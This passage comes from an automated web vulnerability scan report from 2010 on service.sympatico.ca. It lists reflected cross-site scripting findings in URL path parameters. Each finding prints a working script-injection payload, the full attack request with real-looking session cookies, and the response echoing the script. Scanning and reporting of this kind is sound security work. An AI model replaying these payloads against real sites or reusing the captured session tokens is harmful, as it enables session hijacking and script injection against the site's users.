egion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:33 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
en" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.fxqueues.js2ec70"><script>alert(1)</script>a3162374281" />
...[SNIP]...

2.214. http://service.sympatico.ca/js/jquery.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 917e7"><script>alert(1)</script>7abdea01a02 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js917e7"><script>alert(1)</script>7abdea01a02/jquery.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:40 GMT
Connection: close
Set-Cookie: SMSESSION=WYHvmyFTHa2XYsXYDzZJ/5F/SigEdp6rMclVYTxTXJGvKky0p1Y152oOMZjtaW/7Wu40t73JkFl9X5kiDaPiqTmxnT7Te2ZrL9H+aWcTtZhGgZIvRrTi5AzN/G9IQD5CTd+7mC8SA/95asYb29ZY0zRxSaf0iTZ14ZIUXltvi/IvUJNjKUOfT+t9TBkALf1Px/8PaTs4pwnJgcMsSob2fjDXFJSDQY2NnJw1y5P0izbbc6MNuVQb4Hcs0PMwUOnRFpHryS+BLNR6IUq/0IIYPa0JVjGF5ZmQQuqRAPovDO5cC/7+OxErTw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:40 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:40 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:40 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:40 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:40 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:40 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js917e7"><script>alert(1)</script>7abdea01a02/jquery.js" />
...[SNIP]...

2.215. http://service.sympatico.ca/js/jquery.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba152"><script>alert(1)</script>0a2e07034dd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.jsba152"><script>alert(1)</script>0a2e07034dd HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:44 GMT
Connection: close
Set-Cookie: SMSESSION=6U5BaT1rpKru+NuDrThLzjRhourMSLMBT9hxicySeRS6RAT+e7ma0Nqhy8vXCeo0nHRV3Em70sMjatgtGZ28lxOnXhqwPsq0mHq7IjjnJKOo64ogtcxAzFeyqp9dxVH9enwH735kZmXg68fakjGV1P7jt54Y0IQEAlhnIUu6itp6vhpOHDvyFJ+0xhKQn40KuOUUeWTqG0slLyZGgUV0bo+OHjlx+747v5JOeXxfnwFmgN87XNLOhzS1sa4fED1h7ypoRRZ6C3WV/WxbEz3e+UozS3MFQimEc/Oe41IRtTSG8QQ9yCg17w==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:45 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:45 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:45 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:45 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:45 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:45 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:45 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:45 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:45 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:45 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:45 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:45 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:45 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:45 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ype="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.jsba152"><script>alert(1)</script>0a2e07034dd" />
...[SNIP]...

2.216. http://service.sympatico.ca/js/jquery.selectbox.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.selectbox.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82bf2"><script>alert(1)</script>4ac4a8b917b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js82bf2"><script>alert(1)</script>4ac4a8b917b/jquery.selectbox.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:32 GMT
Connection: close
Set-Cookie: SMSESSION=hb2YNa3jIFQhlN26fk+VI560nftyyn5L+Sawf4o0jLh0licgX8+HOhGB9Mp8L9gYRfnwUc7+sdwPLiDTvonhc3aFUGy+ho9Xcp9bmR6FJdYtNnm8YKzbSOKxGFwIcDAGnUA5U0IfooqXr50X8YIhXGMOpxCHm9Dp5FyfG8XmGwKFci9fZ7ibDgIlUF91FeAkGuBDmDtvbib1uxjYKVjNCh68FGtiG13ZloUuVGhZGCEVgBrqil1DPEqNfegCH7ZgxiMF6QGb0OJE5Xp79rtcU1DdPlWdhar6fTexhlmMQx8YjEbHI0EXeg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:32 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:32 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:32 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:32 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:32 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:32 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:32 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:32 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:32 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:32 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:32 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:32 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:32 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26g